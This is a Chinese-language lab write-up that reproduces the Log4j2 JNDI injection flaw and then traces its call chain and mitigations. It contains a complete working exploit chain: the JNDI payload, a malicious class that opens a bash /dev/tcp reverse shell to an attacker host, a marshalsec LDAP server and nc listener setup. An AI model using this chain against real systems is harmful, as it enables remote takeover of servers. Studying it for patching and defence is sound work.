apach-log4j 漏洞复现及原理
一、背景
背景就不多介绍了,大多项目会在内部通过log4j2打印日志,此次漏洞由于log4j2为提供lookup功能导致的注入漏洞
二、漏洞复现
JDNI注入由于其加载动态类原理是JNDI Reference远程加载Object Factory类的特性(使用的不是RMI Class Loading,而是URLClassLoader)。
所以不受RMI动态加载恶意类的 java版本应低于7u21、6u45,或者需要设置java.rmi.server.useCodebaseOnly=false系统属性的限制。具有更多的利用空间
由于漏洞依赖于配置trustURLCodebase配置,oracle在相应高版本java中修改了对应参数的值。本次使用的java版本为8u131。
以下A为攻击方,B为靶场
B靶场服务端:
提供登陆服务,在登陆中打印用户名。我是在本地电脑启的springboot服务。
- maven配置:用于复现漏洞建议log4j版本不高于2.15,若有高版本请排除
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.7.2</version> <relativePath/> </parent>
<dependencies> //需要排除starter-loggin,里面引用了log4j-2.17 <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-jdbc</artifactId> <exclusions> <exclusion> <artifactId>spring-boot-starter-logging</artifactId> <groupId>org.springframework.boot</groupId> </exclusion> </exclusions> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <exclusions> <exclusion> <artifactId>spring-boot-starter-logging</artifactId> <groupId>org.springframework.boot</groupId> </exclusion> </exclusions> </dependency>
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-devtools</artifactId> <scope>runtime</scope> <optional>true</optional> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.13.3</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.13.3</version> </dependency> </dependencies>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.*;
import java.util.Map;
@Controller public class UserController { private Logger logger= LogManager.getLogger(UserController.class);
@RequestMapping("/hello") @ResponseBody public String hello(){ logger.info("hello ");
return "hello"; }
@RequestMapping(value = "/login",method = {RequestMethod.POST}) @ResponseBody public String login(@RequestBody Map body){
String username=body.get("username").toString(); String password=body.get("password").toString(); if(username.equals("admin") && password.equals("123456")){ logger.error("login:{},pass:{}",username,password); return "success"; } logger.error("login:{},pass:{}",username,password);
return "failed"; } private static final Logger log = LogManager.getLogger(UserController.class); public static void main(String[] args) { log.error("${jndi:ldap://172.22.1.7:8899/Exploit}"); } }
|
A:172.22.1.7
前提:A(172.22.1.7)机上有java环境及python3环境,带有公网ip,服务端机器能ping通A(172.22.1.7),此次
- 恶意类:由于我的服务方实在windows环境,因此是打开计算器,其他的可自行更改代码命令,如touch /tmp/123。 将该Exploit.java文件编译成Exploit.class文件放在A(172.22.1.7)上,如
/root/log4j_poc/
下。
1 2 3 4 5 6 7 8 9 10 11 12
| import java.io.IOException;
public class Exploit { public Exploit(){ try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public class Exploit { public Exploit(){ try{ String[] commands = {"bash","-c","exec 5<>/dev/tcp/172.22.1.7/12345;cat <&5 | while read line; do $line 2>&5 >&5; done"}; Process pc = Runtime.getRuntime().exec(commands); pc.waitFor(); } catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv) { Exploit e = new Exploit(); } }
|
前提:请确保A端(172.22.1.7)安全组防火墙放通端口!
在恶意类所在位置/root/log4j_poc/
启动http服务:python3 -m http.server 8100
通过该公网172.22.1.7:8100
可访问该路径下的文件
需要本地编译出可用的jar包
git clone https://github.com/mbechler/marshalsec.git
【克隆项目到本地】
mvn clean package -DskipTests
【这条命令执行完之后会在target 目录生成我们需要的可执行文件:marshalsec-0.0.3-SNAPSHOT-all.jar
】
将该jar包放到A的/root/log4j_poc/
目录下执行命令:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://172.22.1.7:8100/#Exploit 8899
【启动jndi ldap 监听】
恶意类的类名Exploit 会自动绑定URI,8899 是你开启Ldap服务的端口号,如果不加端口号,它的默认端口号为1389,
最终访问的ldap地址为ldap://ip:ldapport/ 即172.22.1.7:8899
- 反弹shell的话,请在A上(172.22.1.7)开启端口监听
nc -lv 12345
该端口与恶意类中的端口一致
访问靶场
此处通过postman发起login请求,如果能成功加载恶意类,即成功
成功弹出计算器:
可以在A(172.22.1.7)上看到服务端访问了A上的恶意类:
三、原理
调用链
断点步进到调用链最开始的地方:
通过processLogEvent判定Event:
在directEncodeEvent会尝试对Event进行解码操作:
对event格式化,总共有11条,其中name=Message这条将会触发远程代码执行
format方法位于PatternFormatter类中
该format方法由MessagePatternConverter类实现,是否满足${开头}结尾的逻辑
调用到StrSubstitutor类的replace方法
之后跳转到该类的核心方法:
代码过长不贴图了,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124
| private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List<String> priorVariables) { final StrMatcher prefixMatcher = getVariablePrefixMatcher(); final StrMatcher suffixMatcher = getVariableSuffixMatcher(); final char escape = getEscapeChar(); final StrMatcher valueDelimiterMatcher = getValueDelimiterMatcher(); final boolean substitutionInVariablesEnabled = isEnableSubstitutionInVariables();
final boolean top = priorVariables == null; boolean altered = false; int lengthChange = 0; char[] chars = getChars(buf); int bufEnd = offset + length; int pos = offset; while (pos < bufEnd) { final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd); if (startMatchLen == 0) { pos++; } else { if (pos > offset && chars[pos - 1] == escape) { buf.deleteCharAt(pos - 1); chars = getChars(buf); lengthChange--; altered = true; bufEnd--; } else { final int startPos = pos; pos += startMatchLen; int endMatchLen = 0; int nestedVarCount = 0; while (pos < bufEnd) { if (substitutionInVariablesEnabled && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) { nestedVarCount++; pos += endMatchLen; continue; } endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd); if (endMatchLen == 0) { pos++; } else { if (nestedVarCount == 0) { String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen); if (substitutionInVariablesEnabled) { final StringBuilder bufName = new StringBuilder(varNameExpr); substitute(event, bufName, 0, bufName.length()); varNameExpr = bufName.toString(); } pos += endMatchLen; final int endPos = pos;
String varName = varNameExpr; String varDefaultValue = null;
if (valueDelimiterMatcher != null) { final char [] varNameExprChars = varNameExpr.toCharArray(); int valueDelimiterMatchLen = 0; for (int i = 0; i < varNameExprChars.length; i++) { if (!substitutionInVariablesEnabled && prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) != 0) { break; } if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) { varName = varNameExpr.substring(0, i); varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen); break; } } }
if (priorVariables == null) { priorVariables = new ArrayList<>(); priorVariables.add(new String(chars, offset, length + lengthChange)); }
checkCyclicSubstitution(varName, priorVariables); priorVariables.add(varName);
String varValue = resolveVariable(event, varName, buf, startPos, endPos); if (varValue == null) { varValue = varDefaultValue; } if (varValue != null) { final int varLen = varValue.length(); buf.replace(startPos, endPos, varValue); altered = true; int change = substitute(event, buf, startPos, varLen, priorVariables); change = change + (varLen - (endPos - startPos)); pos += change; bufEnd += change; lengthChange += change; chars = getChars(buf); }
priorVariables.remove(priorVariables.size() - 1); break; } nestedVarCount--; pos += endMatchLen; } } } } } if (top) { return altered ? 1 : 0; } return lengthChange; }
|
在该处进入方法,lookup调用
StrSubstitutor类中的该方法
//variableName="jndi:ldap://121.199.39.62:8899/Exploit"
通过jndiManager调用恶意类
整个调用过程如上:大致就是截取出”jndi:ldap://121.199.39.62:8899/Exploit”,调用lookup,从而执行了恶意类
- log
- processLogEvent
- callAppender
- tryCallAppender
- directEncodeEvent
- getLayout().encode
- format
- resolveVariable
- lookup
影响版本
Apache Log4j 2.x <= 2.14.1
据悉,Apache Log4j2 日志远程代码执行漏洞因此也影响了所有 Minecraft 服务器。
【影响版本】
Apache log4j2 >= 2.0, <= 2.14.1
Minecraft 全版本所有系列服务端,除 Mohist 1.18 外。
安全建议
升级 Apache Log4j2 所有相关应用到最新的 log4j-2.15.0-rc1 版本,地址查看:点击此处。
升级已知受影响的应用及组件,如 spring-boot-strater-log4j2 / Apache Solr / Apache Flink / Apache Druid
建议同时采用如下临时措施进行漏洞防范:
添加 jvm 启动参数-Dlog4j2.formatMsgNoLookups=true;
在应用 classpath 下添加 log4j2.component.properties 配置文件,文件内容为 log4j2.formatMsgNoLookups=true;
JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本;
参考文章: